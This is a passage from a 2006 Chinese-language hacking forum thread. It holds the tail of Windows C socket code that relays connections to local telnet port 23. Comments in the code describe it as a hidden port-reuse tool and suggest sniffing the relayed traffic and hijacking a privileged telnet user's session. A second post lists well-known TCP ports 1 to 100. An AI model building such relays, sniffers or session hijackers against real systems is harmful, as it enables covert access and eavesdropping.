//接受連接請求
sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
if(sc!=INVALID_SOCKET)
{
mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
if(mt==NULL)
{
printf("Thread Creat Failed!\n");
break;
}
}
CloseHandle(mt);
}
closesocket(s);
WSACleanup();
return 0;
}

DWORD WINAPI ClientThread(LPVOID lpParam)
{
SOCKET ss = (SOCKET)lpParam;
SOCKET sc;
unsigned char buf[4096];
SOCKADDR_IN saddr;
long num;
DWORD val;
DWORD ret;
//如果是隱藏連接阜套用的話,可以在此處加一些判斷
//如果是自己的包,就可以進行一些特殊處理,不是的話通過127.0.0.1進行轉發

saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
saddr.sin_port = htons(23);
if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{
printf("error!socket failed!\n");
return -1;
}
val = 100;
if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
{
ret = GetLastError();
return -1;
}
if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
{
ret = GetLastError();
return -1;
}
if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
{
printf("error!socket connect failed!\n");
closesocket(sc);
closesocket(ss);
return -1;
}
while(1)
{
//下面的程式碼主要是實現通過127。0。0。1這個位址把包轉發到真正的套用上,並把回應的包再轉發回去。
//如果是嗅探內容的話,可以再此處進行內容分析和記錄
//如果是攻擊如TELNET伺服器,利用其高權限登入用戶的話,可以分析其登入用戶,然後利用傳送特定的包以劫持的用戶身份執行。
num = recv(ss,buf,4096,0);
if(num>0)
send(sc,buf,num,0);
else if(num==0)
break;
num = recv(sc,buf,4096,0);
if(num>0)
send(ss,buf,num,0);
else if(num==0)
break;
}
closesocket(ss);
closesocket(sc);
return 0 ;
}
psac 目前離線  
送花文章: 3, 收花文章: 1631 篇, 收花: 3205 次
舊 2006-04-22, 07:22 PM   #5 (permalink)
榮譽會員
 
psac 的頭像
榮譽勳章
UID - 3662
在線等級: 級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時
註冊日期: 2002-12-07
住址: 木柵市立動物園
文章: 17381
現金: 5253 金幣
資產: 33853 金幣
預設

一般連接阜一覽表

1 tcpmux TCP Port Service Multiplexer  傳輸控制傳輸協定連接阜服務多路開關選項器
2 compressnet Management Utility     compressnet 管理實用程序
3 compressnet Compression Process    壓縮排程
5 rje Remote Job Entry          遠端作業登入
7 echo Echo               回顯
9 discard Discard            丟棄
11 systat Active Users          在線用戶
13 daytime Daytime            時間
17 qotd Quote of the Day         每日引用
18 msp Message Send Protocol       消息傳送傳輸協定
19 chargen Character Generator      字串發生器
20 ftp-data File Transfer [Default Data] 文件傳輸傳輸協定(預設資料口) 
21 ftp File Transfer [Control]      文件傳輸傳輸協定(控制)
22 ssh SSH Remote Login Protocol     SSH遠端登入傳輸協定
23 telnet Telnet             終端模擬傳輸協定
24 ? any private mail system       預留給個人用郵件系統
25 smtp Simple Mail Transfer       簡單郵件傳送傳輸協定
27 nsw-fe NSW User System FE       NSW 用戶系統現場工程師
29 msg-icp MSG ICP            MSG ICP
31 msg-auth MSG Authentication      MSG驗證
33 dsp Display Support Protocol     顯示支持傳輸協定
35 ? any private printer server     預留給個人列印機服務
37 time Time               時間
38 rap Route Access Protocol       路由訪問傳輸協定
39 rlp Resource Location Protocol    資源定位傳輸協定
41 graphics Graphics           圖形
42 nameserver WINS Host Name Server   WINS 主機名服務
43 nicname Who Is            "綽號" who is服務
44 mpm-flags MPM FLAGS Protocol     MPM(消息處理模組)標誌傳輸協定
45 mpm Message Processing Module [recv] 消息處理模組 
46 mpm-snd MPM [default send]      消息處理模組(預設傳送口)
47 ni-ftp NI FTP             NI FTP
48 auditd Digital Audit Daemon      數碼音瀕後台服務 
49 tacacs Login Host Protocol (TACACS)  TACACS登入主機傳輸協定
50 re-mail-ck Remote Mail Checking Protocol 遠端郵件檢查傳輸協定
51 la-maint IMP Logical Address Maintenance IMP(接頭訊息處理機)邏輯位址維護
52 xns-time XNS Time Protocol      施樂網路服務系統時間傳輸協定  
53 domain Domain Name Server       網域名服務器
54 xns-ch XNS Clearinghouse       施樂網路服務系統票據交換
55 isi-gl ISI Graphics Language     ISI圖形語言
56 xns-auth XNS Authentication      施樂網路服務系統驗證
57 ? any private terminal access     預留個人用終端訪問
58 xns-mail XNS Mail           施樂網路服務系統郵件
59 ? any private file service      預留個人文件服務
60 ? Unassigned             未定義
61 ni-mail NI MAIL            NI郵件?
62 acas ACA Services           異步通訊橋接器服務
63 whois+ whois+              WHOIS+
64 covia Communications Integrator (CI) 通訊接頭 
65 tacacs-ds TACACS-Database Service   TACACS資料庫服務
66 sql*net Oracle SQL*NET        Oracle SQL*NET
67 bootps Bootstrap Protocol Server   啟始程序傳輸協定服務端
68 bootpc Bootstrap Protocol Client   啟始程序傳輸協定客戶端
69 tftp Trivial File Transfer      小型文件傳輸傳輸協定
70 gopher Gopher             訊息檢索傳輸協定
71 netrjs-1 Remote Job Service      遠端作業服務
72 netrjs-2 Remote Job Service      遠端作業服務
73 netrjs-3 Remote Job Service      遠端作業服務
74 netrjs-4 Remote Job Service      遠端作業服務
75 ? any private dial out service    預留給個人撥出服務
76 deos Distributed External Object Store 分佈式外部對像儲存於 
77 ? any private RJE service      預留給個人遠端作業輸入服務
78 vettcp vettcp             修正TCP?
79 finger Finger             FINGER(查詢遠端主機在線用戶等訊息)
80 http World Wide Web HTTP       全球訊息網超文本傳輸傳輸協定
81 hosts2-ns HOSTS2 Name Server     HOST2名稱服務
82 xfer XFER Utility           傳輸實用程序
83 mit-ml-dev MIT ML Device       模組化智能終端ML設備
84 ctf Common Trace Facility       公用追蹤設備
85 mit-ml-dev MIT ML Device       模組化智能終端ML設備
86 mfcobol Micro Focus Cobol       Micro Focus Cobol編程語言
87 ? any private terminal link      預留給個人終端連接
88 kerberos Kerberos           Kerberros安全認證系統
89 su-mit-tg SU/MIT Telnet Gateway    SU/MIT終端模擬網路閘道
90 dnsix DNSIX Securit Attribute Token Map DNSIX 安全內容標記圖 
91 mit-dov MIT Dover Spooler       MIT Dover假離線
92 npp Network Printing Protocol     網路列印傳輸協定
93 dcp Device Control Protocol      設備控制傳輸協定
94 objcall Tivoli Object Dispatcher   Tivoli對像調度
95 supdup SUPDUP            
96 dixie DIXIE Protocol Specification  DIXIE傳輸協定規範
97 swift-rvf Swift Remote Virtural File Protocol 快速遠端虛擬文件傳輸協定 
98 tacnews TAC News           TAC(東京大學自動電腦?)新聞傳輸協定
99 metagram Metagram Relay       
100 newacct [unauthorized use]     
psac 目前離線  
送花文章: 3, 收花文章: 1631 篇, 收花: 3205 次
 


主題工具
顯示模式

發表規則
不可以發文
不可以回覆主題
不可以上傳附加檔案
不可以編輯您的文章

論壇啟用 BB 語法
論壇啟用 表情符號
論壇啟用 [IMG] 語法
論壇禁用 HTML 語法
Trackbacks are 禁用
Pingbacks are 禁用
Refbacks are 禁用


所有時間均為台北時間。現在的時間是 02:16 AM


Powered by vBulletin® 版本 3.6.8
版權所有 ©2000 - 2022, Jelsoft Enterprises Ltd.


SEO by vBSEO 3.6.1